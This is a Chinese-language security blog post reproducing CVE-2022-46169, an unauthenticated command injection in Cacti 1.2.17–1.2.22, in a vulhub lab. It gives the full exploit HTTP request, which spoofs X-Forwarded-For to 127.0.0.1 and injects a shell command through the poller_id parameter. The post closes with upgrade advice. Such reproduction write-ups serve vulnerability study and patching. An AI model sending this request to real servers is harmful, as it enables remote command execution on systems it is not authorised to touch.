CVE-2022-46169 Cacti前台命令注入漏洞简析

admin 2023年1月13日17:30:49安全文章评论34 views1108字阅读3分41秒阅读模式



漏洞概述
Cacti项目是一个开源平台,可为用户提供强大且可扩展的操作监控和故障管理框架。在其1.2.17-1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。漏洞编号:CVE-2022-46169,漏洞等级:严重。



环境搭建

本次使用vulhub搭建本地测试环境进行复现:

执行以下命令,将vulhub环境拉取到本地。

git clone https://github.com/vulhub/vulhub
CVE-2022-46169 Cacti前台命令注入漏洞简析

执行以下命令,启动一个Cacti 1.2.22版本服务器。

cd vulhub-master/cacti/CVE-2022-46169docker-compose up -d
CVE-2022-46169 Cacti前台命令注入漏洞简析

执行docker ps命令查看容器运行状况

CVE-2022-46169 Cacti前台命令注入漏洞简析

环境启动后,访问http://your-ip:8080会跳转到登录页面,使用admin/admin作为账号密码登录,并根据页面中的提示进行初始化,不断点击“下一步”,直到安装成功:

CVE-2022-46169 Cacti前台命令注入漏洞简析

CVE-2022-46169 Cacti前台命令注入漏洞简析

这个漏洞的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP的采集器。所以,我们在Cacti后台首页创建一个新的Graph:

CVE-2022-46169 Cacti前台命令注入漏洞简析

选择的Graph Type是“Device - Uptime”,点击创建:

CVE-2022-46169 Cacti前台命令注入漏洞简析
CVE-2022-46169 Cacti前台命令注入漏洞简析



漏洞复现

利用POC发送如下数据包:

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1X-Forwarded-For: 127.0.0.1Host: localhost.lanUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1
CVE-2022-46169 Cacti前台命令注入漏洞简析

进入目标容器内,可见“touch /tmp/success”命令已成功执行:

CVE-2022-46169 Cacti前台命令注入漏洞简析



处置建议

官方已发布安全更新,建议升级至最新版本。

下载链接:

https://github.com/Cacti/cacti/tags


CVE-2022-46169 Cacti前台命令注入漏洞简析


CVE-2022-46169 Cacti前台命令注入漏洞简析

原文始发于微信公众号(第59号):CVE-2022-46169 Cacti前台命令注入漏洞简析

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月13日17:30:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  CVE-2022-46169 Cacti前台命令注入漏洞简析 http://cn-sec.com/archives/1517149.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: